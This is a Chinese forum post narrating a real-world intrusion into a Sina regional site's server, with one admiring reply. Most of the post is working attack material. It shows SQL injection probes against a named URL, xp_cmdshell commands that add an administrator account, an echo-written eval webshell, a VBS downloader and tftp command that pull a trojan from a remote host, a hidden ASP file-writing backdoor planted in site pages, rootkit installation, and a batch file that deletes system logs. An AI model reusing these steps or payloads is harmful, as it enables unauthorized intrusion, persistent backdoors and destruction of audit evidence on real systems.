服务器维护,服务器代维,安全设置,漏洞扫描,入侵检测服务

运维之家

 找回密码
 注册
搜索
查看: 5609|回复: 1

入侵新浪分站服务器实战(详解)

[复制链接]
dirtysea 发表于 2006-3-20 23:52:46 | 显示全部楼层 |阅读模式
前段时间听说sohu的一个分站被人黑了我还看了,是真的。所以我也对这种门户网站动动手,我上了www.sina.com.cn,
又跑到了它的广东分站。东西太多了,找个注入点也很难,大多是html,shtml的页面。于是我查看源文件,搜索asp.
总算找到了一个可以asp的页面,找到了一个注入点
http://gzguide.gd.sina.com.cn/news/newdetail.asp?id=2807
提交单引号,
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
/news/newdetail.asp,行 5
提交 and 1=1 返回正常,提交and 1=2 出错。呵呵,典型的注入漏洞。
and 1=(select%20@@VERSION) 返回结果表明是sql2000的,windows2000的服务器
and 'SA'=(SELECT%20System_user),返回错误,看来不是sa帐号连接
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
返回正常,表明xp_cmdshell存在
手工注入太麻烦,用nbsi吧,想到nbsi老发生意外出错,用教主的HDSI吧,它还支持php注入呢!结果出来了,显示连接帐号为dbo,SA权限,这下好了。因为权限比较高,所以用HDSI能够直接执行系统命令,省得在浏览器里面用xp_cmdshell执行。
如图01执行ipcongfig -all命令,看了一下ip,确定sql数据库和网站是在同一台机子上。用net start命令看了一下,
有诺顿,serv-u,sql,终端服务也开了。先加个帐户。
net user zuoai /add, net localgroup administrator zuoai /add
再执行net start telnet. 先连它的终端试试,这个我只抱着40%的希望。可喜的是能连上去,可是当我输入
帐号和密码后出现如下提示框。
图1
guest$虽然是管理员权限,却没有远程登陆的权限。
再试试telnet,这个我只抱着20%的希望,果然,出现“正在连接到211.155.23.118...无法打开到主机的连接
在端口 23 : 连接失败”,这种错误很常见,可能是由于telnet服务没有成功开启或者_blank">防火墙屏
蔽了对23端口的访问,这里应该属于前面一种情况!那就试试ipc连接吧,
,发生错误53,这种错误一般是自己的lanmanworkstation服务未启动或者目标删除了ipc$,这里应该属于前面一种情况。
现在我关键是把木马传上去,怎么办呢?得到webshell,再上传图片,得到webshell。
用HDSI把所有的表都猜出来了,实在太多了,根本找不到管理员密码在哪个表里面。于是跨库查询,看到了一个bbs库,一个leadbbs2的库。
我立刻访问
http://gzguide.gd.sina.com.cn/bbs,果然是个论坛,估计是他们自己开发的(后来才知道是leadbbs).
我接着猜解bbs这个库,希望把管理员密码帐号都跑出来。希望不是md5加密的,如果用md5加密了的话就只好用updata把密码改为自己的了.
再用HDSI猜后台地址,很快猜出来了,
http://gzguide.gd.sina.com.cn/bbs/manage/default.asp
可是着个库里面还是没有重要东西。这个bbs应该对那个leadbbs2库,密码跑出来了,是md5加密的。
如图02
;update leadbbs2.dbo.leadbbs_User set pass='4621d373cade4e83' where username='admin';--,4621d373cade4e83是md5加密后的test.应试试帐号:admin,密码:test登陆却出现提示"此用户已经开启IP绑定访问,您无权使用此用户!".一阵狂晕,管理员登陆限制了ip!看来用这种办法得到webshell是不行了。
其实现在可以先找到web的绝对路径后在HDSI中用echo写个小马上去,可是用echo的时候有写字符要用"^"来转义,比如写个冰狐浪子服务端要这样写

echo ^<SCRIPT RUNAT=SERVER LANGUAGE=javascript^>try{eval^(Request.form^('guest'^)+''^)}catch^(e^){}^</SCRIPT^> >c:\test.asp

但是在nbsi这样的工具的命令行中来执行很容易出错,在浏览器用;exec master.dbo.xp_cmdshell 'command'执行的时候转义更麻烦。
于是又想到一种办法,就是写个下载指定地址的木马的脚本如下:
echo iLocal = LCase^(WScript.Arguments^(1^)^) >c:\vbs.vbs
echo iRemote = LCase^(WScript.Arguments^(0^)^) >>c:\vbs.vbs
echo Set xPost = CreateObject^("Microsoft.XMLHTTP"^) >>c:\vbs.vbs
echo xPost.Open "GET",iRemote,0 >>c:\vbs.vbs
echo xPost.Send^(^) >>c:\vbs.vbs
echo Set sGet = CreateObject^("ADODB.Stream"^) >>c:\vbs.vbs
echo sGet.Mode = 3 >>c:\vbs.vbs
echo sGet.Type = 1 >>c:\vbs.vbs
echo sGet.Open^(^) >>c:\vbs.vbs
echo sGet.Write^(xPost.responseBody^) >>c:\vbs.vbs
echo sGet.SaveToFile iLocal,2 >>c:\vbs.vbs
这样就写到c盘根目录的vbs.vbs文件中去了,接着用这句话执行:
c:\vbs.vbs
http://xxx.com/muma.exe c:\hehe.exe
这个方法可是很有效的哦,不过nbsi直接在nbsi或者其它注入工具命令行执行的时候会发生异常,自己在本机测试的时候一切正常,可是在nbsi中执行的时候二句以后的每句话都会被写入两次,极为郁闷,估计是nbsi运行原理不一样吧,谁知道这个问题怎么解决希望不吝赐教哦!如果在浏览器里面用xp_cmdshell执行,不过还要考虑“%,&"等字符,这些字符在asp里面会用到,所以要使用编码。
正郁闷着,忽然想到还有最简单直接的tftp还没用呢,在HDSI的命令行里执行tftp -i myip get 3721.exe c:\3721.exe,谢天谢地,我这边的tftp有反映了。
如图2


其实很多时候,即使我们得到了webdhell,用serv_u本地溢出或者sql什么的提升权限加了系统帐号,运行了木马。由于别人的服务器搞了ip安全策略,端口映射,边界路由阻隔,_blank">防火墙拦截等等,还是会有无法控制服务器的时候。呵呵,我就曾经入侵了几个大型网站,配置很bt,一直搞到现在还没搞定它的服务器!
好了,终于传完了,在HDSI的命令行里面执行c:\3721.exe,3721.exe是我自己配置好了的超级radmin服务端,注册为系统服务,端口为2046。再次感谢上帝,顺利的连上去了。马上屏幕监控看一下,好像锁定了,再用radmin直接控制,果然计算机处于锁定状态。
如图3

要求按ctrl+alt+del键再登陆,可是如果我按ctrl+alt+del,只会在自己机子上运行任务管理器,不能直接控制了。现在就得留后门了,万一管理员什么时候登陆服务器,命令行下netstat -an如果发现2046端口连到我机子上也许会发现这个后门。所以赶紧装几个隐蔽点的后门,先hacker's door,再hacker defender,直接用radmin的文件管理传上去,再用radmin的远程telnet执行,最后把我的pcshare也搞上去,我比较喜欢pcshare,因为它使用的是80端口,容易突破_blank">防火墙。 用radmin在它的盘里搜索,找到了网站的根目录,在D:\GZINFO下面。
如图4

还有其它的一些网页目录,也不知道是什么网站里面的,突然看到了有一个"服务器监视器"的软件,呵呵,下了readme文件,一看,"......五、网页监控 监视列表中选中的的网页是否能够打开。如果打不开除在本机上提醒外还可以发送手机短信提醒,并重启IIS服务。注意:修改设置时先关闭监控。
六、文件监控 监视本机上的文件,在文件发生改变时通知管理员,如果设置了备份文件,软件会自动使用备份文件覆盖被监视文件."好厉害的东东哦!开机自动运行,而且自动锁定计算机。

接着把自己修改后的海洋顶端木马传上去。成功地得到了webshell。
如图5

再把下面这个下马插到它地几个asp文件里面,只有访问这几个页面是在后面加上?me=Guest$时,
小马才会显现出来!比较可靠。
<% if request("me")="Guest" then %>
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% if Trim(request("syfdpath"))<>"" then %>
<% fdata = request("cyfddata") %>
<% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %>
<% objCountFile.Write fdata %>
<% if err =0 then %>
<% response.write "<font color=red>save Success!</font>" %>
<% else %>
<% response.write "<font color=red>Save UnSuccess!</font>" %>
<% end if %>
<% err.clear %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
<% Response.write "<form action='' method=post>" %>
<% Response.write "保存<font color=red>路径(如D:\web\x.asp):</font>" %>
<% Response.Write "<input type=text name=syfdpath width=32 size=50>" %>
<% Response.Write "<br>" %>
<% Response.write "本文件" %>
<% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %>
<% Response.write "<br>" %>
<% Response.write "内容:" %>
<% Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>" %>
<% Response.write "<input type=submit value=保存>" %>
<% Response.write "</form>" %>
<% end if %>
现在已经基本控制了服务器了,最后把所有地日志都删除了,一个批处理。
@del c:\winnt\system32\logfiles\*.*
@del c:\winnt\system32\config\*.evt
@del c:\winnt\system32\dtclog\*.*
@del c:\winnt\system32\*.log
@del c:\winnt\system32\*.txt
@del c:\winnt\*.txt
@del c:\winnt\*.log
@del c:\del.bat。
现在就等着管理员登陆后findpass得到密码进3389了,再渗透它的内网。因为我还没找到一个好地嗅探软件,所以就没有装这个。
到这里本文要结束了,其实也没有什么高深的技术,高手见笑了。其实入侵的时候会碰到各种各样的问题,能否解决这这些问题。是高手和菜鸟的本质区别!希望喜欢交流技术的朋友和我联系,我的qq是:394786341。
zrg1130 发表于 2006-2-2 09:33:53 | 显示全部楼层

re:入侵新浪分站服务器实战(详解)

斑竹不要笑我们这些菜鸟啊?

就是不懂才来学的嘛!!

请多多教教我们!

人多力量大!我会永远支持你们的

希望能和你们做朋友直到永远!

QQ:87256449

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|手机版|Archiver|运维之家

GMT+8, 2024-5-3 01:33 , Processed in 0.089946 second(s), 14 queries .

Powered by Dirtysea

© 2008-2020 Dirtysea.com.

快速回复 返回顶部 返回列表